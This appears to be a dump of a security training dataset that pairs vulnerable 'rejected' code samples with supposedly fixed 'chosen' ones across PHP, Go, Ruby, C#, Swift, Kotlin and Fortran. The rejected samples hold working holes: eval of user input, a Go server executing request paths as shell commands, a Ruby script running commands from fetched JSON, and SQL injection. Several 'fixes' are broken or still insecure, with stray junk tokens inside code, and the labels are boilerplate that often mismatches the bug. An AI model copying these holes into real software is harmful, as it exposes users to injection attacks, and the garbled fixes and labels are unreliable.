id large_stringlengths 18 18 | category large_stringclasses 6
values | cwe_or_mitre large_stringclasses 221
values | instruction large_stringlengths 40 828 | compressed_think large_stringlengths 250 426 | response large_stringlengths 67 170k | chosen large_stringlengths 511 171k | rejected large_stringlengths 0 8k | chosen_token_count int64 129 60.4k | token_saving_ratio float64 0.12 11.1 |
|---|---|---|---|---|---|---|---|---|---|
cyber_871b0863b457 | vulnerability_research_cve | CWE-20 | Write a php code that accepts an array as an argument, extracts its elements into variables, and then evaluates a string containing user input as PHP code using the `eval()` function. | Target: php implementation for Write a php code that accepts an array as an argument, extracts its el.
Vulnerability Vector: PHP's `extract()` function can lead to code injection if not used properly due t (CWE-20).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
Mitigation ... | ```php
<?php
function processRequest($request) {
// Check if 'userInput' exists in the request array
if (!isset($request['userInput'])) {
return;
}
// Filtering user input
$userInput = filter_var($request['userInput'], FILTER_SANITIZE_STRING);
// Evaluating the filtered user input
... | <think>
Target: php implementation for Write a php code that accepts an array as an argument, extracts its el.
Vulnerability Vector: PHP's `extract()` function can lead to code injection if not used properly due t (CWE-20).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
Mit... | ```php
<?php
function processRequest($request) {
// Unfiltered user input is being passed directly to extract()
extract($request);
// This line might allow for arbitrary code execution
eval("echo $userInput;");
}
processRequest(array('userInput' => "phpinfo();"));
?>
``` | 236 | 0.64 |
cyber_580438c6c379 | vulnerability_research_cve | CWE-20 | Write a swift code that fetches a user's name from a simulated network delay, and then prints out the user's name or 'No user' if there is no user. | Target: swift implementation for Write a swift code that fetches a user's name from a simulated network.
Vulnerability Vector: The Swift language does not have built-in support for multithreading or concurre (CWE-20).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
Mitigatio... | ```swift
import Foundation
struct User {
var name: String
}
class DataManager {
static let shared = DataManager()
func fetchUser(completion: @escaping (User?) -> Void) {
DispatchQueue.global().async {
// Simulate network delay
Thread.sleep(forTimeInterval: 2)
... | <think>
Target: swift implementation for Write a swift code that fetches a user's name from a simulated network.
Vulnerability Vector: The Swift language does not have built-in support for multithreading or concurre (CWE-20).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
M... | ```swift
import Foundation
struct User {
var name: String
}
class DataManager {
static let shared = DataManager()
func fetchUser(completion: @escaping (User?) -> Void) {
DispatchQueue.global().async {
// Simulate network delay
Thread.sleep(forTimeInterval: 2)
... | 267 | 0.85 |
cyber_db8489e9a613 | vulnerability_research_cve | CWE-787 | Write a go code that starts an HTTP server on port 8080. The server should handle requests by executing the path of the request as a shell command and returning the output or error message. | Target: go implementation for Write a go code that starts an HTTP server on port 8080. The server sh.
Vulnerability Vector: Improper input validation in Go could lead to buffer overflows or arbitrary code (CWE-787).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
Mitigation ... | ```go
package main
import (
"fmt"
"net/http"
"os/exec"
"strings"
)
func handler(w http.ResponseWriter, r *http.Request) {
// Validate the path before executing it as a shell command
path := strings.TrimSpace(r.URL.Path)
if len(path) == 0 || strings.ContainsAny(path, "/\\") {
fmt.Fprint(w, "Invalid path")
r... | <think>
Target: go implementation for Write a go code that starts an HTTP server on port 8080. The server sh.
Vulnerability Vector: Improper input validation in Go could lead to buffer overflows or arbitrary code (CWE-787).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
Mit... | ```go
package main
import (
"fmt"
"net/http"
"os/exec"
)
func handler(w http.ResponseWriter, r *http.Request) {
cmd := exec.Command("/bin/sh", "-c", r.URL.Path)
out, err := cmd.Output()
if err != nil {
fmt.Fprintf(w, "Error: %s", err)
} else {
fmt.Fprintf(w, "Output: %s", out)
}
}
func main() {
http.Han... | 356 | 0.68 |
cyber_240331b26e8a | vulnerability_research_cve | CWE-20 | Write a kotlin code that creates a UserRepository class. This class should have a method to add a new user and another method to retrieve a password for a specific user. The main function should create an instance of UserRepository, add a new user with a username and password, and then print out the password for that u... | Target: kotlin implementation for Write a kotlin code that creates a UserRepository class. This class sh.
Vulnerability Vector: Improper handling of sensitive data in Kotlin code can lead to information leaka (CWE-20).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
Mitigati... | ```kotlin
import java.util.*
data class User(val username: String, val password: String)
class UserRepository {
private val users = mutableMapOf<String, User>()
fun addUser(user: User) {
users[user.username] = user
}
fun getPasswordForUser(username: String): String? {
return users[us... | <think>
Target: kotlin implementation for Write a kotlin code that creates a UserRepository class. This class sh.
Vulnerability Vector: Improper handling of sensitive data in Kotlin code can lead to information leaka (CWE-20).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
... | ```kotlin
import java.util.*
data class User(val username: String, val password: String)
class UserRepository {
private val users = mutableListOf<User>()
fun addUser(user: User) {
users.add(user)
}
fun getPasswordForUser(username: String): String? {
return users.find { it.username ==... | 260 | 0.87 |
cyber_ae5ac9d027b2 | vulnerability_research_cve | CWE-787 | Write a fortran code that creates a string of length 5 and fills it with 'A' characters. Then print the string. | Target: fortran implementation for Write a fortran code that creates a string of length 5 and fills it wi.
Vulnerability Vector: Buffer Overflow in Fortran can occur when an array or string is defined with too (CWE-787).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
Mitiga... | ```fortran
program buffer_overflow
implicit none
integer :: i
character(len=5) :: str
do i = 1, 5
str(i:i) = 'A'
end do
print*, str
end program buffer_overflow
``` | <think>
Target: fortran implementation for Write a fortran code that creates a string of length 5 and fills it wi.
Vulnerability Vector: Buffer Overflow in Fortran can occur when an array or string is defined with too (CWE-787).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation... | ```fortran
program buffer_overflow
implicit none
integer :: i
character(len=5) :: str
do i = 1, 10
str(i:i) = 'A'
end do
print*, str
end program buffer_overflow
``` | 181 | 0.78 |
cyber_68dc179dcd3e | vulnerability_research_cve | CWE-20 | Write a javascript code that generates a random number. The random number should be generated using the current time and the Math.random() function. | Target: javascript implementation for Write a javascript code that generates a random number. The random num.
Vulnerability Vector: Insecure Randomness could lead to predictable random numbers in Javascript, maki (CWE-20).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
Miti... | ```javascript
function generateSecureRandomNumber() {
var cryptoObj = window.crypto || window.msCrypto;
var array = new Uint32Array(1);
cryptoObj.getRandomValues(array);
var randomNumber = array[0];
return randomNumber;
}
console.log(generateSecureRandomNumber());
``` | <think>
Target: javascript implementation for Write a javascript code that generates a random number. The random num.
Vulnerability Vector: Insecure Randomness could lead to predictable random numbers in Javascript, maki (CWE-20).
Root Cause: Missing bounds verification or improper memory handling prior to state mutati... | ```javascript
function generateRandomNumber() {
var currentTime = new Date().getTime();
var randomNumber = Math.floor(Math.random() * currentTime);
return randomNumber;
}
console.log(generateRandomNumber());
``` | 195 | 0.68 |
cyber_420b7f305d1b | vulnerability_research_cve | CWE-89 | Write a c# code that allows a user to login by checking their credentials against a database. The user's inputted username and password are used in an SQL query to check if they match any records in the database. If there are matching records, the user is considered logged in. If not, an error message is displayed. | Target: c# implementation for Write a c# code that allows a user to login by checking their credenti.
Vulnerability Vector: Improper handling of user input in web applications may lead to SQL Injection vu (CWE-89).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
Mitigation S... | ```c#
using System;
using System.Data.SqlClient;
public class UserLogin
{
public void Login(string username, string password)
{
string connectionString = "Server=myServerAddress;Database=myDataBase;User Id=myUsername;Password=myPassword;";
using (SqlConnection connection = new SqlConnection(con... | <think>
Target: c# implementation for Write a c# code that allows a user to login by checking their credenti.
Vulnerability Vector: Improper handling of user input in web applications may lead to SQL Injection vu (CWE-89).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
Miti... | ```c#
using System;
using System.Data.SqlClient;
public class UserLogin
{
public void Login(string username, string password)
{
string connectionString = "Server=myServerAddress;Database=myDataBase;User Id=myUsername;Password=myPassword;";
using (SqlConnection connection = new SqlConnection(con... | 352 | 0.82 |
cyber_14476cc8067f | vulnerability_research_cve | CWE-78 | Write a ruby code that fetches JSON data from a given URL, parses it and executes any commands found in the parsed data. | Target: ruby implementation for Write a ruby code that fetches JSON data from a given URL, parses it a.
Vulnerability Vector: Ruby's built-in JSON library may expose an application to Deserialization of Unt (CWE-78).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
Mitigation... | ```ruby
require 'json'
require 'open-uri'
require 'shellwords'
def fetch_user_input(url)
uri = URI.parse(url)
response = Net::HTTP.get_response(uri)
JSON.parse(response.body)
end
def process_data(data)
data.each do |key, value|
if key == "command"
sanitized_value = Shellwords.escape(value)
sys... | <think>
Target: ruby implementation for Write a ruby code that fetches JSON data from a given URL, parses it a.
Vulnerability Vector: Ruby's built-in JSON library may expose an application to Deserialization of Unt (CWE-78).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
Mi... | ```ruby
require 'json'
require 'open-uri'
def fetch_user_input(url)
uri = URI.parse(url)
response = Net::HTTP.get_response(uri)
JSON.parse(response.body)
end
def process_data(data)
data.each do |key, value|
if key == "command"
system(value)
end
end
end
url = ARGV[0]
data = fetch_user_input(ur... | 303 | 0.68 |
cyber_92006fc6ce5f | vulnerability_research_cve | CWE-787 | Write a go code that imports the necessary packages, defines a function 'main' which reads command line arguments and prints them out. | Target: go implementation for Write a go code that imports the necessary packages, defines a functio.
Vulnerability Vector: Uncontrolled format string in Printf function may lead to buffer overflow attack (CWE-787).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
Mitigation ... | ```go
package main
import (
"fmt"
"os"
)ellow
func main() {
if len(os.Args) != 2 {
fmt.Println("Please provide exactly one argument.")
return
}
userInput := os.Args[1]
fmt.Println(userInput)
}
``` | <think>
Target: go implementation for Write a go code that imports the necessary packages, defines a functio.
Vulnerability Vector: Uncontrolled format string in Printf function may lead to buffer overflow attack (CWE-787).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
Mit... | ```go
package main
import (
"fmt"
"os"
)
func main() {
userInput := os.Args[1]
fmt.Printf(userInput)
}
``` | 194 | 0.63 |
cyber_1998559781a7 | vulnerability_research_cve | CWE-20 | Write a php code that allows users to upload files and checks if they are images. If the file is an image, move it to the 'uploads' directory. If the file is not an image or no file is selected, display an error message. | Target: php implementation for Write a php code that allows users to upload files and checks if they .
Vulnerability Vector: In PHP, a potential vulnerability is the ability of users to upload files. If no (CWE-20).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
Mitigation ... | ```php
<?php
$target_dir = "uploads/";
$target_file = $target_dir . basename($_FILES["fileToUpload"]["name"]);
$uploadOk = 1;
$imageFileType = strtolower(pathinfo($target_file,PATHINFO_EXTENSION));
// Check if image file is a actual image or fake image
if(isset($_POST["submit"])) {
$check = getimagesize($_FILES["f... | <think>
Target: php implementation for Write a php code that allows users to upload files and checks if they .
Vulnerability Vector: In PHP, a potential vulnerability is the ability of users to upload files. If no (CWE-20).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
Mit... | ```php
<?php
$target_dir = "uploads/";
$target_file = $target_dir . basename($_FILES["fileToUpload"]["name"]);
$uploadOk = 1;
$imageFileType = strtolower(pathinfo($target_file,PATHINFO_EXTENSION));
if(isset($_POST["submit"])) {
$check = getimagesize($_FILES["fileToUpload"]["tmp_name"]);
if($check !== false) {
... | 668 | 0.54 |
cyber_ed37dc7ac12b | vulnerability_research_cve | CWE-787 | Write a go code that reads from standard input and prints the number of bytes read. If there's an error during reading, print an error message. | Target: go implementation for Write a go code that reads from standard input and prints the number o.
Vulnerability Vector: Buffer Overflow vulnerability can occur when reading data from an untrusted sour (CWE-787).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
Mitigation ... | ```go
package main
import (
"bufio"
"fmt"
"os"
)
func main() {
reader := bufio.NewReader(os.Stdin)
buf, err := reader.ReadBytes('\n')
if err != nil {
fmt.Println("Error:", err)
return
}
fmt.Println("Read", len(buf), "bytes")
}
``` | <think>
Target: go implementation for Write a go code that reads from standard input and prints the number o.
Vulnerability Vector: Buffer Overflow vulnerability can occur when reading data from an untrusted sour (CWE-787).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
Mit... | ```go
package main
import (
"fmt"
"os"
)
func main() {
buf := make([]byte, 1024)
n, err := os.Stdin.Read(buf)
if err != nil {
fmt.Println("Error:", err) suspected buffer overflow
}
fmt.Println("Read", n, "bytes")
}
``` | 213 | 0.8 |
cyber_64d1bf65909c | vulnerability_research_cve | CWE-20 | Write a kotlin code that compares two strings, one created directly and another from a character array. If the two strings are equal, print 'Strings are equal'. Otherwise, print 'Strings are not equal'. | Target: kotlin implementation for Write a kotlin code that compares two strings, one created directly an.
Vulnerability Vector: Improper use of `==` operator for string comparison in Kotlin can lead to unexpe (CWE-20).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
Mitigati... | ```kotlin
fun main(args: Array<String>) {
val str1 = "Hello"
val str2 = String(charArrayOf('H', 'e', 'l', 'l', 'o'))
if (str1.contentEquals(str2)) {
println("Strings are equal")
} else {Bs
println("Strings are not equal")
}
}
``` | <think>
Target: kotlin implementation for Write a kotlin code that compares two strings, one created directly an.
Vulnerability Vector: Improper use of `==` operator for string comparison in Kotlin can lead to unexpe (CWE-20).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
... | ```kotlin
fun main(args: Array<String>) {
val str1 = "Hello"
val str2 = String(charArrayOf('H', 'e', 'l', 'l', 'o'))
if (str1 == str2) {
println("Strings are equal")
} else {
println("Strings are not equal")
}
}
``` | 211 | 0.79 |
cyber_1db6d9dadc9e | vulnerability_research_cve | CWE-89 | Write a ruby code that uses Sinatra and PostgreSQL to create a web application that responds to GET requests at '/search'. The server should take a search term from the URL parameters, connect to a PostgreSQL database named 'mydatabase', execute a SQL query to find all users whose name matches the search term, and retu... | Target: ruby implementation for Write a ruby code that uses Sinatra and PostgreSQL to create a web app.
Vulnerability Vector: Incorrect use of user input can lead to SQL injection attacks when dynamic SQL q (CWE-89).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
Mitigation... | ```ruby
require 'sinatra'
require 'pg'
get '/search' do
search_term = params[:search]
conn = PGconn.connect(dbname: 'mydatabase')
results = conn.exec_params("SELECT * FROM users WHERE name = $1", [search_term])
results.map { |row| row['name'] }.join(', ')
endBs
``` | <think>
Target: ruby implementation for Write a ruby code that uses Sinatra and PostgreSQL to create a web app.
Vulnerability Vector: Incorrect use of user input can lead to SQL injection attacks when dynamic SQL q (CWE-89).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
Mi... | ```ruby
require 'sinatra'
require 'pg'
get '/search' do
search_term = params[:search]
conn = PGconn.connect(dbname: 'mydatabase')
results = conn.exec("SELECT * FROM users WHERE name = '#{search_term}'")
results.map { |row| row['name'] }.join(', ')
end
``` | 207 | 0.8 |
cyber_a4a9a8b62550 | vulnerability_research_cve | CWE-20 | Write a go code that creates a leaky memory structure. The structure should be able to allocate 1MB of data and simulate some work by sleeping for 5 seconds in each instance creation. | Target: go implementation for Write a go code that creates a leaky memory structure. The structure s.
Vulnerability Vector: Go's garbage collector may cause memory leaks due to dangling pointers if not ha (CWE-20).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
Mitigation S... | ```go
package main
import (
"runtime/debug"
"sync"
"time"
)
type Leaky struct {
data []byte
}
var leakyPool = sync.Pool{
New: func() interface{} {
l := &Leaky{
data: make([]byte, 1024*1024), // allocate 1MB of data
}
// Simulate some work
time.Sleep(5 * time.Second)
return l
},
}
func NewLeaky(... | <think>
Target: go implementation for Write a go code that creates a leaky memory structure. The structure s.
Vulnerability Vector: Go's garbage collector may cause memory leaks due to dangling pointers if not ha (CWE-20).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
Miti... | ```go
package main
import "time"
type Leaky struct {
data []byte
}
func NewLeaky() *Leaky {
l := &Leaky{
data: make([]byte, 1024*1024), // allocate 1MB of data
}
// Simulate some work
time.Sleep(5 * time.Second)
return l
}
func main() {
for {
_ = NewLeaky() // This will create a new Leaky instance ever... | 342 | 0.62 |
cyber_5be3b5744c01 | vulnerability_research_cve | CWE-476 | Write a kotlin code that compares two strings, `str1` and `str2`. If `str1` equals `str2`, print 'Strings are equal'. Otherwise, print 'Strings are not equal'. However, this code will throw a NullPointerException because you're trying to compare a non-null string with a null value. | Target: kotlin implementation for Write a kotlin code that compares two strings, `str1` and `str2`. If `.
Vulnerability Vector: Incorrect use of Kotlin's `equals` method may lead to NullPointerException durin (CWE-476).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
Mitigat... | ```kotlin
fun main(args: Array<String>) {
val str1: String? = "Hello"
val str2: String? = null
if (str1 == str2) { // This won't throw NullPointerException
println("Strings are equal")fairness
} else {
println("Strings are not equal")
}
}
``` | <think>
Target: kotlin implementation for Write a kotlin code that compares two strings, `str1` and `str2`. If `.
Vulnerability Vector: Incorrect use of Kotlin's `equals` method may lead to NullPointerException durin (CWE-476).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.... | ```kotlin
fun main(args: Array<String>) {
val str1: String? = "Hello"
val str2: String? = null
if (str1.equals(str2)) { // This will throw NullPointerException
println("Strings are equal")
} else {
println("Strings are not equal")
}
}
``` | 213 | 0.77 |
cyber_092684ff4898 | vulnerability_research_cve | CWE-20 | Write a java code that asks the user for their age and then prints out the age they entered. | Target: java implementation for Write a java code that asks the user for their age and then prints out.
Vulnerability Vector: Inadequate use of Exception Handling can lead to Information Disclosure or Denia (CWE-20).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
Mitigation... | ```java
import java.util.InputMismatchException;
import java.util.Scanner;
public class Main {
public static void main(String[] args) {
Scanner scanner = new Scanner(System.in);
System.out.println("Enter your age:");
try {
int age = scanner.nextInt();
if (age < 0) {
... | <think>
Target: java implementation for Write a java code that asks the user for their age and then prints out.
Vulnerability Vector: Inadequate use of Exception Handling can lead to Information Disclosure or Denia (CWE-20).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
Mi... | ```java
import java.util.Scanner;
public class Main {
public static void main(String[] args) {
Scanner scanner = new Scanner(System.in);
System.out.println("Enter your age:");
int age = scanner.nextInt();
System.out.println("Your age is " + age);
}
}
``` | 295 | 0.55 |
cyber_0ad0660fc8a5 | vulnerability_research_cve | CWE-89 | Write a c# code that handles user input and searches for a username in a database. The code should be able to connect to a SQL Server database, execute a SELECT query based on the user's input, and print out the result. | Target: c# implementation for Write a c# code that handles user input and searches for a username in.
Vulnerability Vector: A potential vulnerability in C# is improper handling of user input. If user inpu (CWE-89).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
Mitigation S... | ```c#
using System;
using System.Data.SqlClient;
using System.Web;
public class UserInputHandler
{
private readonly string _connectionString = "Server=myServerAddress;Database=myDataBase;User Id=myUsername;Password=myPassword;";
public void HandleUserInput(string userInput)
{
using (SqlConnect... | <think>
Target: c# implementation for Write a c# code that handles user input and searches for a username in.
Vulnerability Vector: A potential vulnerability in C# is improper handling of user input. If user inpu (CWE-89).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
Miti... | ```c#
using System;
using System.Data.SqlClient;
using System.Web;
public class UserInputHandler
{
public void HandleUserInput(string userInput)
{
string connectionString = "Server=myServerAddress;Database=myDataBase;User Id=myUsername;Password=myPassword;";
using (SqlConnection connection = ne... | 390 | 0.84 |
cyber_de9423bad969 | vulnerability_research_cve | CWE-20 | Write a ruby code that creates a user object using the 'User' class and then greets the user. | Target: ruby implementation for Write a ruby code that creates a user object using the 'User' class an.
Vulnerability Vector: In Ruby, there is a potential vulnerability related to the use of `eval` or `ins (CWE-20).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
Mitigation... | ```ruby
class User
attr_accessor :name
def initialize(name)
@name = name
end
def greetings
puts "Hello, #{@name}!"
end
end
def create_user(name)
User.new(name)
end
input = gets.chomp
# Secure fixed line
user = create_user(input)
user.greetings
``` | <think>
Target: ruby implementation for Write a ruby code that creates a user object using the 'User' class an.
Vulnerability Vector: In Ruby, there is a potential vulnerability related to the use of `eval` or `ins (CWE-20).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
Mi... | ```ruby
class User
attr_accessor :name
def initialize(name)
@name = name
end
def greetings
puts "Hello, #{@name}!"
end
end
def create_user(name)
User.new(name)
end
input = gets.chomp
# Vulnerable line
user = eval("create_user('#{input}')")
user.greetings
``` | 217 | 0.84 |
cyber_1d474b88f1b7 | vulnerability_research_cve | CWE-78 | Write a swift code that includes two functions, one named 'dangerousFunction' and another named 'safeFunction'. The 'dangerousFunction' should take an optional string as an argument and force unwrap it to print its value. If the string is nil, it will crash. The 'safeFunction' should also take an optional string as an ... | Target: swift implementation for Write a swift code that includes two functions, one named 'dangerousFu.
Vulnerability Vector: Swift's optional type allows for potentially unsafe unwrapping, which can lead t (CWE-78).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
Mitigatio... | ```swift
import Foundation
func dangerousFunction(input: String?) {
guard let safeInput = input else {
print("Input was nil")
return
}
print(safeInput)
}
func safeFunction(input: String?) {
if let safeInput = input {
print(safeInput) Hawk
} else {
print("Input was n... | <think>
Target: swift implementation for Write a swift code that includes two functions, one named 'dangerousFu.
Vulnerability Vector: Swift's optional type allows for potentially unsafe unwrapping, which can lead t (CWE-78).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
M... | ```swift
import Foundation
func dangerousFunction(input: String?) {
let danger = input
print(danger!)
}
func safeFunction(input: String?) {
if let safeInput = input {
print(safeInput)
} else {
print("Input was nil")
}
}
let testInput: String? = nil
dangerousFunction(input: testIn... | 240 | 0.76 |
cyber_dd9121e91430 | vulnerability_research_cve | CWE-20 | Write a kotlin code that asks the user for their age and then checks if they are eligible to vote. | Target: kotlin implementation for Write a kotlin code that asks the user for their age and then checks i.
Vulnerability Vector: Kotlin allows implicit casting of numbers into other types, which can lead to un (CWE-20).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
Mitigati... | ```kotlin
import java.util.*
fun main(args: Array<String>) {
val scanner = Scanner(System.`in`)
println("Enter your age:")
val age = scanner.nextLine().toIntOrNull()
if (age != null && age > 18) {
println("You are eligible to vote.")
} else {
println("You are not eligible to vote.")... | <think>
Target: kotlin implementation for Write a kotlin code that asks the user for their age and then checks i.
Vulnerability Vector: Kotlin allows implicit casting of numbers into other types, which can lead to un (CWE-20).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
... | ```kotlin
import java.util.*
fun main(args: Array<String>) {
val scanner = Scanner(System.`in`)
println("Enter your age:")
val age = scanner.nextInt()
if (age > 18) {
println("You are eligible to vote.")
} else {
println("You are not eligible to vote.")
}
}
``` | 224 | 0.79 |
cyber_f57dfec82ea0 | vulnerability_research_cve | CWE-190 | Write a fortran code that demonstrates integer overflow. Initialize an integer variable `i` with the maximum value that can be stored in a 4-byte integer (2147483647). Then, initialize another integer variable `j` with the value 1. Add `i` and `j` and store the result in `k`. Since the sum exceeds the maximum limit of ... | Target: fortran implementation for Write a fortran code that demonstrates integer overflow. Initialize an.
Vulnerability Vector: Integer overflow in Fortran can lead to unexpected results or crashes if not han (CWE-190).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
Mitiga... | ```fortran
program integer_overflow
implicit none
integer*4 :: i, j, k
i = 2147483647 ! Maximum value of 4 byte integer
j = 1
k = i + j ! This will cause integer overflow
! Check if overflow has occurred
if (k < i .or. k < j) then
print*, 'Integer overflow has occurred!'
els... | <think>
Target: fortran implementation for Write a fortran code that demonstrates integer overflow. Initialize an.
Vulnerability Vector: Integer overflow in Fortran can lead to unexpected results or crashes if not han (CWE-190).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation... | ```fortran
program integer_overflow
implicit none
integer*4 :: i, j, k
i = 2147483647 ! Maximum value of 4 byte integer
j = 1
k = i + j ! This will cause integer overflow
print*, 'The result after overflow is: ', k
end program integer_overflow
``` | 237 | 0.68 |
cyber_0bf7fb5dad8c | vulnerability_research_cve | CWE-787 | Write a swift code that takes user input as a string and validates it using an unsafe method. The function should take a string as input, allocate a buffer of size 10, copy the first 20 bytes from the input string into the buffer, convert the buffer to a string, and then deallocate the buffer. Print the resulting strin... | Target: swift implementation for Write a swift code that takes user input as a string and validates it .
Vulnerability Vector: Improper input validation in Swift can lead to buffer overflows when dealing wit (CWE-787).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
Mitigati... | ```swift
import Foundation
func safeInputValidation(userInput: String) -> String? {
guard let cStr = userInput.cString(using: .utf8) else { return nil }
let fixedSizeBuffer = UnsafeMutablePointer<Int8>.allocate(capacity: 10)
strncpy(fixedSizeBuffer, cStr, 10)
let result = String(cString: fixedSizeBuffe... | <think>
Target: swift implementation for Write a swift code that takes user input as a string and validates it .
Vulnerability Vector: Improper input validation in Swift can lead to buffer overflows when dealing wit (CWE-787).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
... | ```swift
import Foundation
func unsafeInputValidation(userInput: String) -> String {
let fixedSizeBuffer = UnsafeMutablePointer<Int8>.allocate(capacity: 10)
userInput.withUnsafeBytes { (bytes: UnsafeRawBufferPointer) in
bytes.copyBytes(to: fixedSizeBuffer, count: 20)
}
let result = String(cStri... | 283 | 0.8 |
cyber_7010dceb2064 | vulnerability_research_cve | CWE-787 | Write a go code that prints the first element of an integer slice and then tries to access an element out of bounds in the same slice. The program should print the first element of the slice and then panic when trying to access an element out of bounds. | Target: go implementation for Write a go code that prints the first element of an integer slice and .
Vulnerability Vector: A buffer overflow vulnerability in Go due to improper handling of slice indices. (CWE-787).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
Mitigation ... | ```go
package main
import (
"errors"
"fmt"
)
func getElementFromSlice(slice []int, index int) (int, error) {
if index < 0 || index >= len(slice) {
return 0, errors.New("index out of range")
}
return slice[index], nil
}
func main() {
s := []int{1, 2, 3}
// Print the first element of the slice
element, err ... | <think>
Target: go implementation for Write a go code that prints the first element of an integer slice and .
Vulnerability Vector: A buffer overflow vulnerability in Go due to improper handling of slice indices. (CWE-787).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
Mit... | ```go
package main
import "fmt"
func main() {
s := []int{1, 2, 3}
fmt.Println(s[0]) // This will print 1
fmt.Println(s[3]) // This will cause a panic due to buffer overflow
}
``` | 345 | 0.43 |
cyber_feb5e8657726 | vulnerability_research_cve | CWE-476 | Write a kotlin code that defines a class named 'User' with a property 'name' and a method 'greet'. The 'greet' method should print out 'Hello, ' followed by the name of the user. Then, define a function named 'greetUser' that takes a User object as an argument. This function should call the 'greet' method on the passed... | Target: kotlin implementation for Write a kotlin code that defines a class named 'User' with a property .
Vulnerability Vector: Kotlin's type system allows for null pointer exceptions due to lack of strong ty (CWE-476).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
Mitigat... | ```kotlin
// Assume we have a class User
class User(val name: String) {
fun greet() {
println("Hello, $name")
}
}
// And we have a function that accepts a User object
fun greetUser(user: User?) {
// We check if the user object is not null before calling the greet method
if (user != null) {
... | <think>
Target: kotlin implementation for Write a kotlin code that defines a class named 'User' with a property .
Vulnerability Vector: Kotlin's type system allows for null pointer exceptions due to lack of strong ty (CWE-476).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.... | ```kotlin
// Assume we have a class User
class User(val name: String) {
fun greet() {
println("Hello, $name")
}
}
// And we have a function that accepts a User object
fun greetUser(user: User?) {
// We try to call the greet method on the user object
user?.greet()
}
// Now we call this function... | 252 | 0.73 |
cyber_b71cffd35e77 | vulnerability_research_cve | CWE-787 | Write a fortran code that declares an integer array of size 2 and fills it with numbers from 1 to 4. Then print out the array. | Target: fortran implementation for Write a fortran code that declares an integer array of size 2 and fill.
Vulnerability Vector: There is a potential buffer overflow vulnerability in Fortran if arrays are not (CWE-787).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
Mitiga... | ```fortran
program array_fixed
implicit none
integer, dimension(4) :: array
integer :: i
do i=1,size(array)
array(i) = i
end do
print*, "Array elements are: ", array
end program array_fixed
``` | <think>
Target: fortran implementation for Write a fortran code that declares an integer array of size 2 and fill.
Vulnerability Vector: There is a potential buffer overflow vulnerability in Fortran if arrays are not (CWE-787).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation... | ```fortran
program array_vuln
implicit none
integer, dimension(2) :: array
integer :: i
do i=1,4
array(i) = i
end do
print*, "Array elements are: ", array
end program array_vuln
``` | 183 | 0.8 |
cyber_023298b3c8b3 | vulnerability_research_cve | CWE-20 | Write a python code that uses Flask framework to create a web application with a form that accepts user input and executes it as Python code. | Target: python implementation for Write a python code that uses Flask framework to create a web applicat.
Vulnerability Vector: The use of 'eval' function in Python can lead to arbitrary code execution which (CWE-20).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
Mitigati... | ```python
import os
from flask import Flask, request, abort
from flask_wtf import FlaskForm
from wtforms import StringField
from wtforms.validators import DataRequired
app = Flask(__name__)
app.config['SECRET_KEY'] = os.urandom(32)
class MyForm(FlaskForm):
text = StringField('text', validators=[DataRequired()])
... | <think>
Target: python implementation for Write a python code that uses Flask framework to create a web applicat.
Vulnerability Vector: The use of 'eval' function in Python can lead to arbitrary code execution which (CWE-20).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
... | ```python
import os
from flask import Flask, request
app = Flask(__name__)
@app.route('/')
def my_form():
return '''
<form method="POST">
<input name="text">
<input type="submit">
</form>'''
@app.route('/', methods=['POST'])
def my_form_post():
text = request.form['text... | 348 | 0.58 |
cyber_48971a9a64ca | vulnerability_research_cve | CWE-89 | Write a swift code that creates a UIViewController subclass named 'ViewController'. This class has two IBOutlets, 'usernameField' and 'passwordField', which are UITextFields. The 'viewDidLoad' method is overridden but does not contain any additional functionality. There is an IBAction method 'loginButtonTapped' that re... | Target: swift implementation for Write a swift code that creates a UIViewController subclass named 'Vie.
